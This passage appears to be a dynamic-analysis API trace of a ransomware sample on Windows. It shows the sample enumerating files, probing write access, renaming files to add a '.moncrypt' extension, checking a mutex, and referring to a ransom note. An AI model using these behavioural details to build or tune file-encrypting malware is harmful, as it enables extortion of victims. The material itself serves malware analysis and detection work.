CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.279] CharLowerBuffW (in: lpsz=".fxh", cchLength=0x4 | out: lpsz=".fxh") returned 0x4 [0057.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".fxh", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fxh.fxht", lpUsedDefaultChar=0x0) returned 4 [0057.279] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\я" (normalized: "c:\\program files\\dvd maker\\shared\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0057.280] WriteFile (in: hFile=0x184, lpBuffer=0x1e61cd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61cd8*, lpNumberOfBytesWritten=0x18f0b0*=0x1, lpOverlapped=0x0) returned 1 [0057.280] CloseHandle (hObject=0x184) returned 1 [0057.281] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\я" (normalized: "c:\\program files\\dvd maker\\shared\\я")) returned 1 [0057.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 0x54e200 [0057.282] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0057.282] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0057.282] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.282] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh", dwFileAttributes=0x20) returned 0 [0057.283] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.283] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.moncrypt")) returned 0 [0057.283] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0057.283] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.283] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.283] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.283] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.284] GlobalUnlock (hMem=0x44000c) returned 0 [0057.284] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.284] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.284] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.284] GlobalUnlock (hMem=0x44000c) returned 0 [0057.284] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.284] GlobalUnlock (hMem=0x440004) returned 0 [0057.284] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.284] CharLowerBuffW (in: lpsz="DissolveAnother.png", cchLength=0x13 | out: lpsz="dissolveanother.png") returned 0x13 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", cchWideChar=53, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", lpUsedDefaultChar=0x0) returned 53 [0057.285] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngveAnother.png", lpUsedDefaultChar=0x0) returned 4 [0057.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 0x54e200 [0057.285] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0057.285] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0057.285] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.285] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", dwFileAttributes=0x20) returned 0 [0057.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.286] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.moncrypt")) returned 0 [0057.287] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0057.287] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.287] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.287] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.287] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.287] GlobalUnlock (hMem=0x440004) returned 0 [0057.287] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.287] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.287] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.287] GlobalUnlock (hMem=0x440004) returned 0 [0057.287] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.287] GlobalUnlock (hMem=0x44000c) returned 0 [0057.287] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.287] CharLowerBuffW (in: lpsz="DissolveNoise.png", cchLength=0x11 | out: lpsz="dissolvenoise.png") returned 0x11 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", cchWideChar=51, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", lpUsedDefaultChar=0x0) returned 51 [0057.288] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngveNoise.png", lpUsedDefaultChar=0x0) returned 4 [0057.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", lpFindFileData=0x18ee44 | out: lpFindFileData=0x18ee44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 0x54e200 [0057.288] FileTimeToLocalFileTime (in: lpFileTime=0x18ee58, lpLocalFileTime=0x18ed70 | out: lpLocalFileTime=0x18ed70) returned 1 [0057.288] FileTimeToDosDateTime (in: lpFileTime=0x18ed70, lpFatDate=0x18ee26, lpFatTime=0x18ee24 | out: lpFatDate=0x18ee26, lpFatTime=0x18ee24) returned 1 [0057.288] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.289] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", dwFileAttributes=0x20) returned 0 [0057.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18dd80, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.289] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.moncrypt")) returned 0 [0057.289] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0057.289] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0057.289] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0057.289] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.289] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.289] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.289] GlobalUnlock (hMem=0x44000c) returned 0 [0057.289] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.290] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.290] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.290] GlobalUnlock (hMem=0x44000c) returned 0 [0057.290] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.290] GlobalUnlock (hMem=0x440004) returned 0 [0057.290] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.290] CharLowerBuffW (in: lpsz="Filters.xml", 